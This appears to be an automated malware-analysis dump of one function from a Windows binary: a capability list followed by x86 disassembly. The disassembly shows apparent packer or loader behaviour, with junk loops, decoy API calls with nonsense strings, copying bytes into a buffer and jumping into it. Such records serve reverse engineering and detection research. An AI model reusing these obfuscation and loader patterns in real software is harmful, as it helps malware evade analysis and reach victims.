Function at 0x42a220
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Move file
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2124
call fcn.004117b0
mov eax, dword [0x437004]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x42a249
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3661b720
jge 0x42a2a4
cmp dword [0x43b670], 0xc31
jne 0x42a279
mov dword [ebp - 0x64], 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_SetTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x92601b2
jle 0x42a2a2
cmp dword [0x43b670], 0xa
jne 0x42a2a0
lea edx, [ebp - 0x68]
push edx
push 0x434df4
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
jmp 0x42a2a4
jmp 0x42a240
mov dword [ebp - 0x6c], 0
jmp 0x42a2b6
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x5f6c74
jge 0x42a2d6
cmp dword [ebp - 0x6c], 0x562d05
jne 0x42a2d4
mov ecx, dword [0x437ff8]
mov dword [0x43b674], ecx
jmp 0x42a2ad
cmp dword [0x43b670], 0x7c
jne 0x42a3d0
push 0
lea edx, [ebp - 0xc70]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push str.fedabomalozosatebusuhuzogisarojotasikuyinegizowuvovezax
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
mov dword [ebp - 0xca4], 0
push 0x2e
push 0
lea eax, [ebp - 0xca0]
push eax
call fcn.0040e830
add esp, 0xc
push 0
lea ecx, [ebp - 0xca4]
push ecx
push str.Safemerofo
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push str.tacusuhicage
push str.xupakesopopakuxo
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.risucemufapecunisusiwatanole
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea edx, [ebp - 0x470]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x43b670], 0x2d
jne 0x42a394
lea eax, [ebp - 0xcbc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x43b670], 0x54
jne 0x42a3a5
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x434e9e
push 0x439e88
call fcn.00401159
add esp, 4
fldz
fstp dword [esp]
call fcn.00401010
fstp st(0)
add esp, 4
push 0
call fcn.004017bd
add esp, 4
cmp dword [0x43b670], 0x110a
jne 0x42a571
mov dword [0x43a978], 0
mov dword [0x43a97c], 0
cmp dword [0x43b670], 0xcc
jne 0x42a422
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x43a0fc], 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea ecx, [ebp - 0xcc4]
push ecx
lea edx, [ebp - 0x20c8]
push edx
push str.hayeliyapavizovowinigaxomacowiwapihicivoje
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
lea eax, [ebp - 0x14c8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.Yuhegoveson_daxelowam_zitaj_roborile
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
lea ecx, [ebp - 0x10c8]
push ecx
push str.Rimavowegal_buhaviluzu_tesoyaz_jicuk
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0
push 0
call fcn.0040146c
add esp, 8
push 0x434f1c
push str.0__f
push 0x439e88
call fcn.00401389
add esp, 0xc
push 0
push 0
call fcn.0040146c
add esp, 8
push str.0__s__d__f
call fcn.00401532
add esp, 4
mov edx, dword [0x434f34]
mov dword [ebp - 0x1cc8], edx
push 0x7fc
push 0
lea eax, [ebp - 0x1cc4]
push eax
call fcn.0040e830
add esp, 0xc
lea ecx, [ebp - 0x14c8]
mov dword [ebp - 0xcc0], ecx
push 0x43a988
mov eax, dword [ebp - 0xcc0]
lea ecx, [ebp - 0x1cc8]
mov edx, 0xce6
call fcn.0042a0a0
add esp, 4
push 0
push 0
call fcn.0040146c
fldz
fstp qword [esp]
call fcn.00401000
fstp st(0)
add esp, 8
push 0
call fcn.00401929
add esp, 4
push 0
call fcn.00401732
add esp, 4
call fcn.00429e90
mov dword [ebp - 0x20d0], 0
jmp 0x42a591
mov edx, dword [ebp - 0x20d0]
add edx, 1
mov dword [ebp - 0x20d0], edx
mov eax, dword [ebp - 0x20d0]
cmp eax, dword [0x43b670]
jae 0x42a5fc
mov ecx, dword [0x43b674]
mov dword [ebp - 0x20d4], ecx
mov eax, 0xa231
add dword [ebp - 0x20d4], eax
mov edx, dword [0x43a388]
add edx, dword [ebp - 0x20d0]
mov eax, dword [ebp - 0x20d4]
add eax, dword [ebp - 0x20d0]
mov cl, byte [eax]
mov byte [edx], cl
cmp dword [0x43b670], 0x5ab
jne 0x42a5fa
lea edx, [ebp - 0x20f0]
push edx
push 0x434f38
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
jmp 0x42a582
call fcn.00429f50
call fcn.00429ec0
push 0x438000
call fcn.0042a160
add esp, 4
mov dword [ebp - 0x20f4], 0
jmp 0x42a62e
mov eax, dword [ebp - 0x20f4]
add eax, 1
mov dword [ebp - 0x20f4], eax
cmp dword [ebp - 0x20f4], 0x15a63d
jge 0x42a65a
cmp dword [ebp - 0x20f4], 0xbd9cb
jne 0x42a658
mov ecx, dword [0x43a388]
add ecx, 0x28a5
mov dword [0x43a388], ecx
jmp 0x42a61f
mov dword [ebp - 0x20f8], 0
jmp 0x42a675
mov edx, dword [ebp - 0x20f8]
add edx, 1
mov dword [ebp - 0x20f8], edx
cmp dword [ebp - 0x20f8], 0x6f479f
jge 0x42a6c4
cmp dword [0x43b670], 0xbf9
jne 0x42a693
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov dword [0x43a394], 0x8e55e61a
cmp dword [0x43b670], 0xbc
jne 0x42a6c2
push 0
push str.Sonedi_vifizuxim_dezanivarun_xuretivase_noladunes
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
jmp 0x42a666
jmp dword [0x43a388]